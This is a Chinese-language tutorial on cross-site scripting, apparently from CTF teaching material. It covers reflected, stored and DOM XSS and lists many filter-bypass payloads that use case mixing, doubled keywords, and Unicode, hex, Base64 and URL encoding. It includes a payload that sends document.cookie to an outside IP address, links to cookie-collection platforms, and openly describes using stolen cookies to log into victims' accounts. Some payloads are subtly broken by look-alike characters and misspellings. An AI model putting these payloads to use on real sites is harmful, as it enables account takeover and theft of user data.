1、什么是XSS?
中文名为跨站脚本攻击,跨站脚本,(Cross-Site Scripting, XSS),当目标网站用户在渲染HTML文档的过程中,出现非预期的脚本指令并执行时,XSS就发生了。
2、攻击者给予应用恶意XSS代码,导致用户访问应用或服务器时执行代码,导致被XSS攻击。
攻击者→服务器→用户(xss是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载)
3、XSS的危害: 1.网络钓鱼,包括盗取各类用户的账号
2.窃取用户cookies资料,从而获取用户信息。
3.获取客户端信息,IP/端口等
4.劫持用户浏览器会话,从而执行任意操作
5.强制弹出窗口。
6.网页挂马,进行恶意操作
7.进行大量的客户端攻击 如DDoS攻击
8.控制受害者机器向其他客户端攻击
4、XSS分类
①反射型 :非持久型,调取用户cookie或者进行钓鱼,常常为通过引诱用户点击一个恶意链接来实施攻击。
特点:
① 主要用于将恶意脚本附加到URL地址的参数中
② 只在用户单击url时触发,而且只执行一次,非持久化
③常用来窃取客户端 Cookies或进行钓鱼欺骗.
④常常为通过引诱用户点击一个恶意链接来实施攻击的)name为可控参数
我们可以通过执行恶意代码弹窗,那么也能做些对我们有利的事情。
当我们构造好了如下恶意代码,发送给受害者。
<script>alert(document.cookie)</script>
将会弹出用户的cookie值,我们构造js代码,将该cookie值发送至我们自己的服务器,或者用XSS平台接收该cookie(例如https://xsshs.cn/),我们就能通过该cookie非法登录受害者的账户
②存储型 :渗透 挂马 蠕虫病毒 出现在网站的留言、评论、日志等交互处,被存储在数据库或者客户端中,等再次浏览时受到攻击。
(特点:① 恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性
② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全.
③ 一般出现在网站的留言、评论、日志等交互处,)
页面原理:
POST提交数据,生成、读取文本模拟数据库,
提交数据之后页面会将数据写入sql.txt,
再打开页面时会读取sql.txt中内容并显示在网页上,
实现了存储型xss攻击模拟。
当输入恶意代码,即会执行<script>alert('xss')</script>
并且恶意代码会一直存储在服务器,每当有用户访问该页面,即会触发恶意代码
利用XSS弹出恶意警告框
<script>alert('hacked by cl4y')</script>
网页不停刷新
<meta http-equiv= 'refresh' content= '0' > http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv= 'refresh' content= '0' >
获得cookie
<script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>
劫持流量(跳转到你的博客强行吸粉)
<script>window.location.href="http://www.cl4y.top";</script>
③dom型: 将XSS代码嵌入dom文档(每一个网页),通过JS脚本对文档对象进行编辑从而修改页面元素,增加漏洞。
xss平台
1.获取COOKIE(这是必须的最基本的功能)
2.获取源码(取当前网页的源码)
3.截图(可自己修改为连续截图)
4.……………
https://xss.pt
https://xssaq.com
XSS利用——无任何过滤
<scirpt>
<scirpt>alert(1);</script>
<img>
<img src=1 οnerrοr=alert("xss");> //onerror等事件,可以调用js
<input>
<input οnfοcus="alert('xss');" autofocus>
<svg>
<svg οnlοad=alert("xss");>
<iframe>
<iframe οnlοad=alert("xss");></iframe>
<iframe src=javascript:alert('xss');></iframe> //src中支持伪协议
<textarea>
<textarea οnfοcus=alert("xss"); autofocus>
往往用户可控的参数都进行了过滤,不会让你用一个<script>标签就轻易攻击成功
<script>shellcode</script>
XXS绕过:
关键字绕过
空格绕过
用/代替空格 <img/src="x"/οnerrοr=alert("xss");>
关键字绕过
大小写绕过 <ImG sRc=x onerRor=alert("xss");>
利用其他标签
双写关键字 <imimgg srsrcc=x οnerrοr=alert("xss");>
字符拼接 <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<script>top["al"+"ert"](`xss`);</script>
利用函数进行编码绕过
Unicode绕过
<img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函数进行编码绕过
ASCII码
<img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
Hex绕过
<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
Base64编码
<img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> 过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //异常处理
反引号
<img src=x οnerrοr=alert`1`>
过滤双引号,单引号
反引号
<img src=1 οnerrοr=alert`1`;>
js事件
当某个位置的可控点在一个标签内,那么或许可以通过js事件来完成xss操作
<img src=1 οnerrοr=alert`1`;>
混淆:
利用html标签格式的不严格、容错性。
关键字中加空格
加TAB
回车
url编码
<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframesrc="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>